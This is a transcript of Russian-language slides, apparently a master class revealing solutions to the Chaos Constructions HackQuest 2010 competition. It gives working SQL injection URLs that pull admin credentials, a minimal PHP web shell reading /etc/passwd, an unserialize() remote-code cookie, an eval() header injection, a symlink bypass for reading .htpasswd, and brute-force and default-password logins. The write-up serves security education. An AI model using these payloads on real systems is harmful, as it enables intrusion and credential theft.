cc hackquest 2010 full disclosure (мастер-класс)

49
Chaos Constructions HackQuest 2010, Full Disclosure (мастер-класс)

Upload: dmitry-evteev

Post on 17-Jan-2015

2.782 views

Category:

Technology


4 download

DESCRIPTION

 

TRANSCRIPT

Page 1: CC HackQuest 2010 Full Disclosure (мастер-класс)

Chaos Constructions HackQuest 2010, Full Disclosure

(мастер-класс)

Page 2: CC HackQuest 2010 Full Disclosure (мастер-класс)

План мероприятия

Несколько слов о мероприятии

Заложенные уязвимости, пути их обнаружения и эксплуатации

Практическое занятие

Page 3: CC HackQuest 2010 Full Disclosure (мастер-класс)

Пара слов о HackQuest на Chaos Constructions 2010

HackQuest на CC — это открытые соревнования по защите информации, сутью которых является выполнение ряда разнообразных заданий связанных с информационной безопасностью: web hacking, social engineering, reverse engineering и т.п.

HackQuest на CC предоставляет полную свободу выбора по прохождению заданий.

Для захвата одного «ключа» необходимо воспользоваться чередой реальных уязвимостей в самых настоящих (продуктивных) системах.

Расположение большинства «ключей» заранее не известно.

Page 4: CC HackQuest 2010 Full Disclosure (мастер-класс)

Разработчики HackQuest на Chaos Constructions 2010

Антон Карпов (без комментариев; он сам за себя все сказал: 100% Virus Free Podcast #17, http://www.esetnod32.ru/.company/podcast/)

Сергей Рублев, Тимур Юнусов, Сергей Павлов, Дмитрий Евтеев

Александр Матросов

Тарас Иващенко (Oxdef), Дмитрий Сидоров (INVENT)

Владимир Воронцов (D0znp)

Page 5: CC HackQuest 2010 Full Disclosure (мастер-класс)

Карта игровой инфраструктуры

192.168.192.2 Содержит задания

192.168.192.3 (honeypot) Cisco 1601R router

192.168.192.4 Содержит задания

192.168.192.5 (honeypot) Sun Solaris 9

192.168.192.6 Содержит задания

192.168.192.7 (honeypot) Windows XP SP1

192.168.192.8 Содержит задания

192.168.192.9 Содержит задания

192.168.192.10 Содержит задания

192.168.192.11 (honeypot) IBM AIX 4.2.X-4.3.3.0

192.168.192.12 Содержит задания

192.168.192.13 (honeypot) Linux SuSE

192.168.192.14 (honeypot) Windows 2000 Server SP2

192.168.192.15 Содержит задания

192.168.192.16 (honeypot) Cisco IOS

192.168.192.17 Содержит задания

192.168.192.18 (honeypot) Cisco Catalyst

192.168.192.19 (honeypot) Juniper router

192.168.192.20 Содержит задания

192.168.192.21 (honeypot) Windows 2000 SP3

192.168.192.22 (honeypot) Check Point FireWall-1

192.168.192.10x Содержит задания

192.168.192.10x Содержит задания

192.168.192.172 (honeypot) APC Smart-UPS

192.168.192.173 хост не является целью

WiFi

Социальная инженерия

Набор дополнительных заданий

Page 6: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #1

SQL Injection (MySQL 5.x) в Insert (error based) over Mod_Security

Уязвимый запрос:…$query = "INSERT INTO indexes (text,source) value ('".$_GET['text']."',".$_GET['action'].")"; …

Эксплуатация:

/search.php?action=1&text=1'/*!,(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a))*/on+duplicate+key+update+a=('

Page 7: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #1

SQL Injection (MySQL 5.x) в Insert (error based) over Mod_Security

Альтернативные методы эксплуатации:

/search.php?action=0&text=1'/*!%2b(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%2b*/'1

/search.php?action=0&text=1'/*!%26(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%26*/'1

/search.php?action=0&text=1'/*!%26('blabla')%26(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%2b*/'1

/search.php?action=0&text=1'/*!%26(''%22%22'')%2b(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%26*/'1

Page 8: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #1

SQL Injection (MySQL 5.x) в Insert (error based) over Mod_Security

Классическая последовательность эксплуатации:

На выходе – таблица «admins»

/search.php?action=1&text=1'/*!,(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+where+table_schema!='information_schema'+and+table_schema!='mysql'+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a))*/on+duplicate+key+update+a=(' …

На выходе – имена колонок «login» и «password» в таблице «admins»

/search.php?action=1&text=1'/*!,(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+1,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a))*/on+duplicate+key+update+a=(' /search.php?action=1&text=1'/*!,(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+2,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a))*/on+duplicate+key+update+a=('

Page 9: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #1

SQL Injection (MySQL 5.x) в Insert (error based) over Mod_Security

Классическая последовательность эксплуатации:

На выходе – данные из таблицы «admins»

/search.php?action=1&text=1'/*!,(select+1+from(select+count(*),concat((select+concat_ws(0x3a,login,password)+from+admins+limit+0,1),0x3a,floor(rand(0)*2))x+from+admins+group+by+x)a))*/on+duplicate+key+update+a=('

Page 10: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #1

Обнаружение раздела администрирования сайтом (via robots.txt)

Восстановление MD5-хеша (via rainbow tables, eq www.xmd5.org)

Page 11: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #1

Классическая эксплуатация Remote File Including

Получение приватного RSA ключа в одном из домашних каталогов

пользователей системы

Page 12: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #1

Использование RSA ключа для доступа к системе (пароль не требуется)

В случае использования пароля к RSA ключу, можно было использовать SSH Private-Key cracker

(http://www.neophob.com/serendipity/index.php?/archives/123-SSH-Private-Key-cracker.html)

Page 13: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #2

SQL Injection (PostgreSQL) в Select (error based)

Уязвимость содержится в разделе восстановления пароля пользователя.

Эксплуатация:

/index.php?r=recovery&name=1&email=1&status=cast(version()+as+numeric)

Page 14: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #2

SQL Injection (PostgreSQL) в Select (error based)

Классическая последовательность эксплуатации:

На выходе – таблица «vsmsusers»

/index.php?r=recovery&name=1&email=1&status=1;select+cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)--.../index.php?r=recovery&name=1&email=1&status=1;select+cast((select+table_name+from+information_schema.tables+limit+1+offset+105)+as+numeric)-- …

На выходе – имена колонок «login» и «password» в таблице «vsmsusers»

/index.php?r=recovery&name=1&email=1&status=1;select+cast((select+column_name+from+information_schema.columns+where+table_name=chr(118)||chr(115)||chr(109)||chr(115)||chr(117)||chr(115)||chr(101)||chr(114)||chr(115)+limit+1+offset+1)+as+numeric)--

Page 15: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #2

SQL Injection (PostgreSQL) в Select (error based)

Следуя подсказке:

Получение данных, восстановление SHA1-хеша (plain text: 8167):

Page 16: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #2

Обнаружение уязвимости File Including

Page 17: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #2

Выполнение команд на сервере с использованием «самого короткого веб-шелла»:

/index.php?u=LV89284&p=data:,<?=@`$c`?>&c=ls

/index.php?u=LV89284&p=data:,<?=@`$c`?>&c=cat /etc/passwd

Как это работает?

• Использование stream wrappers («data» появился в PHP с версии 5.2.0)

• short_open_tag и register_globals в состоянии «ON»

• <?= ?> эквивалентно <? echo ?>;

• Использование обратных кавычек эквивалентно использованию shell_exec()

Дополнительно:

• http://php.net/manual/en/wrappers.data.php

• http://www.php.net/manual/en/wrappers.php.php

• http://ru.php.net/operators.execution

• http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/

Page 18: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #2

Результат эксплуатации уязвимости LFI

Page 19: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #2

Получение ключа возможно после осуществления успешного перебора к сервису

удаленного администрирования telnet (могут использоваться THC-Hydra, Medusa,

ncrack, etc).

LOGIN: websupervis0r2 PASSWORD: websupervis0r2

Page 20: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #3

Сложность первого этапа указанного задания заключается в переборе «спрятанных» за

Mod_rewrite поступающих параметров в приложение.

Page 21: CC HackQuest 2010 Full Disclosure (мастер-класс)

Журнал Хакер (http://www.xakep.ru/magazine/xa/138/default.asp) "Фаззинг сайта, «защищенного»

mod_rewrite", Тимур Юнусов;

http://ptresearch.blogspot.com/2010/09/fuzzing-of-modrewrite-protected-site.html

http://www.ptsecurity.ru/download/modrewrite_search.zip

CC HackQuest 2010: Задание #3

Page 22: CC HackQuest 2010 Full Disclosure (мастер-класс)

Mod_Rewrite и HTTP 413 «Request Entity Too Large»

Ошибка возникает в следствии некоренного значения «Content-length»

http://devteev.blogspot.com/2010/09/modrewrite.html

CC HackQuest 2010: Задание #3

Page 23: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #3

Blind SQL Injection (MySQL 4.0.x)

Логически истинный запрос (true) /index.php?pag=1'or(1)=(1)/*&login=1&password=1

Логически ложный запрос (false) /index.php?pag=1'or(1)=(2)/*&login=1&password=1

Page 24: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #3

Blind SQL Injection (MySQL 4.0.x)

Эксплуатация:

/index.php?pag=1'+or+mid(version(),1,3)='4.0'/*&login=1&password=1

/index.php?pag=1'+or+mid(login,1,1)='b'/*&login=1&password=1

...

/index.php?pag=1'+or+mid(password,1,1)='a'/*&login=1&password=1

...

Page 25: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #3

Восстановление MD5-хеша

Доступ к веб-приложению

(переход от «black-box» к «gray-box»)

Page 26: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #3

Уязвимость HTTP Parameter Pollution (HPP)

Содержимое .htaccess:

ErrorDocument 404 ./404.html

RewriteEngine On

RewriteRule ^([0-9]*)\.php ./index.php?pag=$1 [L,QSA]

RewriteRule ([0-9]*)/$ ./system.php?id=$1&access=user [L,QSA]

Page 27: CC HackQuest 2010 Full Disclosure (мастер-класс)

Что такое HTTP Parameter Pollution?

OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

Page 28: CC HackQuest 2010 Full Disclosure (мастер-класс)

Что уязвимо к атаке HTTP Parameter Pollution

Технология/Среда Интерпретация параметров Пример

ASP.NET/IIS Склеивание через запятую par1=val1,val2

ASP/IIS Склеивание через запятую par1=val1,val2

PHP/APACHE Последний параметр результирующий par1=val2

PHP/Zeus Последний параметр результирующий par1=val2

JSP, Servlet/Apache Tomcat Первый параметр результирующий par1=val1

JSP,Servlet/Oracle Application Server 10g Первый параметр результирующий par1=val1

JSP,Servlet/Jetty Первый параметр результирующий par1=val1

IBM Lotus Domino Первый параметр результирующий par1=val1

IBM HTTP Server Последний параметр результирующий par1=val2

mod_perl,libapeq2/Apache Первый параметр результирующий par1=val1

Perl CGI/Apache Первый параметр результирующий par1=val1

mod_perl,lib???/Apache Первый параметр результирующий par1=val1

mod_wsgi (Python)/Apache Возвращается массив ARRAY(0x8b9058c)

Pythin/Zope Первый параметр результирующий par1=val1

IceWarp Возвращается массив ['val1','val2']

AXIS 2400 Последний параметр результирующий par1=val2

Linksys Wireless-G PTZ Internet Camera Склеивание через запятую par1=val1,val2

Ricoh Aficio 1022 Printer Последний параметр результирующий par1=val2

webcamXP Pro Первый параметр результирующий par1=val1

DBMan Склеивание через две тильды par1=val1~~val2

Page 29: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #3

Использование уязвимости HTTP Parameter Pollution

/1/?access=admin или /system.php?id=1&access=admin

Page 30: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #3

Выполнение команд на сервере over unserialize()

Потенциально уязвимый участок кода (index.php):… echo $pages['adminka']; $sessid = unserialize($_COOKIE['admin_id']);…

Уязвимый участок кода (functions.php):… function __destruct(){echo $this->shutdown;

if (!empty($this->shutdown)){$var = $this->shutdown[0];$arg = $this->shutdown[1];$var($arg);

• Еще почитать: «PHP unserialize() _SESSION and Dynamics», Владимир

Воронцов (http://oxod.ru/?p=244)

Page 31: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #3

Выполнение команд на сервере over unserialize()

Эксплуатация (cookie[admin_id]):

O:8:"Database":1:{s:8:"shutdown"%3Ba:2:{i:0%3Bs:7:"phpinfo"%3Bi:1%3Bs:2:"-1"%3B}}

O:8:"Database":1:{s:8:"shutdown"%3Ba:2:{i:0%3Bs:8:"passthru"%3Bi:1%3Bs:8:"ls -la /"%3B}}

O:8:"Database":1:{s:8:"shutdown"%3Ba:2:{i:0%3Bs:8:"passthru"%3Bi:1%3Bs:8:"cat /KEY"%3B}}

Page 32: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #4

Александр Матросов, http://amatrosov.blogspot.com/

Page 33: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Задание #5

Нестандартный язык программирования (Lua)

Владимир Воронцов, http://oxod.ru/

Page 34: CC HackQuest 2010 Full Disclosure (мастер-класс)

Выход за пределы каталога (path traversal)

Эксплуатация:

cat file.in | b64decode -o file.out

openssl enc -d -aes-256-cbc -in file.out -out file.decrypt -k 'из history'

CC HackQuest 2010: Задание #6

Page 35: CC HackQuest 2010 Full Disclosure (мастер-класс)

Хостинг-сервер

Для получения доступа к веб-приложениям требовалось идентифицировать их присутствие. Это было возможно путем переноса обслуживаемой DNS-зоны.

• dig @192.168.192.10 PTR 10.192.168.192.in-addr.arpa

• dig @192.168.192.10 cc10.site axfr

CC HackQuest 2010: Задание #7

Page 36: CC HackQuest 2010 Full Disclosure (мастер-класс)

Классическая уязвимость Local File Including

Эксплуатируется неклассическим методом (см. «Новая веха в теории инклуда: свежие способы

раскрутки local и remote file include», http://www.xakep.ru/post/49508/default.asp)

CC HackQuest 2010: Задание #7

Page 37: CC HackQuest 2010 Full Disclosure (мастер-класс)

Пример проведения атаки:

CC HackQuest 2010: Задание #7

Page 38: CC HackQuest 2010 Full Disclosure (мастер-класс)

Обход ограничений SuEXEC

Уязвимость заключается в возможности переопределить установленные

ограничения на каталог веб-сервера (FollowSymLinks)

Использование уязвимости:

echo Options +FollowSymLinks > /usr/local/www/data/vasya/.htaccess

ln -s /usr/local/www/data/root/.htaccess /usr/local/www/data/vasya/access.txt

ln -s /usr/local/www/data/root/.htpasswd_new /usr/local/www/data/vasya/passwd.txt

http://www.kernelpanik.org/docs/kernelpanik/suexec.en.pdf

CC HackQuest 2010: Задание #7

Page 39: CC HackQuest 2010 Full Disclosure (мастер-класс)

Социальная инженерия

Получение исходного кода и адреса уязвимого приложения; эксплуатация

уязвимости «Внедрение операторов SQL» в SQLite с использованием

особенностей функции sqlite_escape_string(); Владимир Воронцов,

http://www.xakep.ru/post/53551/default.asp

CC HackQuest 2010: Задание #8

Page 40: CC HackQuest 2010 Full Disclosure (мастер-класс)

Для прохождения задания требуется получение

исходного кода приложения

CC HackQuest 2010: Задание #9

Page 41: CC HackQuest 2010 Full Disclosure (мастер-класс)

Эксплуатация уязвимости:

X-Forwarded-For=';?><?eval($_GET['cmd']);?><?$a='

Результат такого запроса:# cat /usr/local/www/apache22/data/blacklist.php<?include_once('config.php');$blacklist_ip[0] = '';?><?eval($_GET['cmd']);?><?$a='';?>

CC HackQuest 2010: Задание #9

Page 42: CC HackQuest 2010 Full Disclosure (мастер-класс)

Получение доступа к используемой конфигурации Cisco

Login: cc10Cisco Password: cisco

Router>enable 3

Password: Cisco

Router#show privilege

Current privilege level is 3

Router#show running-config view full

CC HackQuest 2010: Задание #10

Page 43: CC HackQuest 2010 Full Disclosure (мастер-класс)

Подбор содержимого TFTP-сервера

http://code.google.com/p/tftptheft/downloads/list

CC HackQuest 2010: Задание #11

Page 44: CC HackQuest 2010 Full Disclosure (мастер-класс)

Тонкости Microsoft Active Directory

CC HackQuest 2010: Задание #12

Page 45: CC HackQuest 2010 Full Disclosure (мастер-класс)

Тонкости Microsoft Active Directory

CC HackQuest 2010: Задание #12

Page 46: CC HackQuest 2010 Full Disclosure (мастер-класс)

IPv6, WiFi, задание с использованием Cross-Site Scripting,

стеганография, задания на поиск ключа в PDF и др. Всего

игровая инфраструктура содержала 21 ключ.

CC HackQuest 2010: Другие задания

Page 47: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Победители

I. RDOT.org (8 заданий)

II. Andrey 1800 (4 задания)

III. nucro (4 задания)

III. neweagle (4 задания)

Page 48: CC HackQuest 2010 Full Disclosure (мастер-класс)

CC HackQuest 2010: Вместо заключения

Что дальше?

Выполните практическое занятие

Участвуйте online http://www.securitylab.ru/hq2010

И еще немного ссылок:

http://cc.org.ru/

http://devteev.blogspot.com/2010/08/chaos-constructions-2010_30.html

Page 49: CC HackQuest 2010 Full Disclosure (мастер-класс)

Спасибо за внимание!

Вопросы?

[email protected]://devteev.blogspot.com/